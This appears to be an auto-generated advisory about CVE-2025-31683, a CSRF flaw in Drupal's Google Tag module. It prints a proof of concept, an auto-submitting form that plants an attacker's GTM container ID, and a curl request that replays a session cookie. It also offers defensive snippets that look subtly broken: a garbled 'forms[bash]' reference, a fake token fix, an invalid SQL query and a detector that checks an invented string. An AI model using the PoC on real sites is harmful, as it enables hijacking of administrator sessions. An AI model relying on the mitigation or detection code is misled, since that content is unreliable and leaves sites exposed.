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How CVE-2025-31683 Works
This CSRF vulnerability in Drupal’s Google Tag module allows attackers to trick authenticated users into executing unintended actions. The flaw occurs due to missing anti-CSRF tokens in form submissions, enabling malicious requests to modify Google Tag settings when an admin visits a crafted page. Attackers can inject arbitrary JavaScript or alter tracking configurations, leading to data leakage or session hijacking. The vulnerability affects versions 1.x (<1.8.0) and 2.x (<2.0.8).
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Platform: Drupal
Version: <1.8.0, <2.0.8
Vulnerability: CSRF
Severity: Medium
Date: 2025-03-31
Prediction: Patch by 2025-07-15
What Undercode Say:
Exploitation Commands:
1. Craft malicious HTML form:
<form action="http://target/drupal/admin/config/services/google_tag" method="POST"> <input type="hidden" name="container_id" value="ATTACKER_GTM_ID"> </form> <script>document.forms[bash].submit()</script>
2. CSRF PoC curl:
curl -X POST -d "container_id=HACKED" --cookie "SESSION_COOKIE" http://target/drupal/admin/config/services/google_tag
Protection Commands:
1. Patch verification:
drush pm-update google_tag
2. Manual mitigation (temp):
// Add CSRF token validation in custom module
function hook_form_alter(&$form, $form_state, $form_id) {
if ($form_id == 'google_tag_settings') {
$form['token'] = true;
}
}
Analytics:
- Attack Vector: Network (HTTP)
- Privileges Required: Low (Admin)
- User Interaction: Required (Click)
- Exploitability Score: 4.8 (Medium)
Detection Script:
import requests
target = "http://example.com/drupal"
response = requests.get(f"{target}/admin/config/services/google_tag")
if "anti-csrf-token" not in response.text:
print("Vulnerable to CVE-2025-31683")
Patch Analysis:
The fix introduces:
1. Form token validation
2. SameSite cookie attributes
3. Double-submit cookie pattern
Log Monitoring:
SELECT FROM watchdog WHERE message LIKE '%google_tag%' AND severity = 5;
WAF Rule:
SecRule REQUEST_URI "@contains /admin/config/services/google_tag" "id:1005,phase:2,deny,log,msg:'CVE-2025-31683 Exploit Attempt'"
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
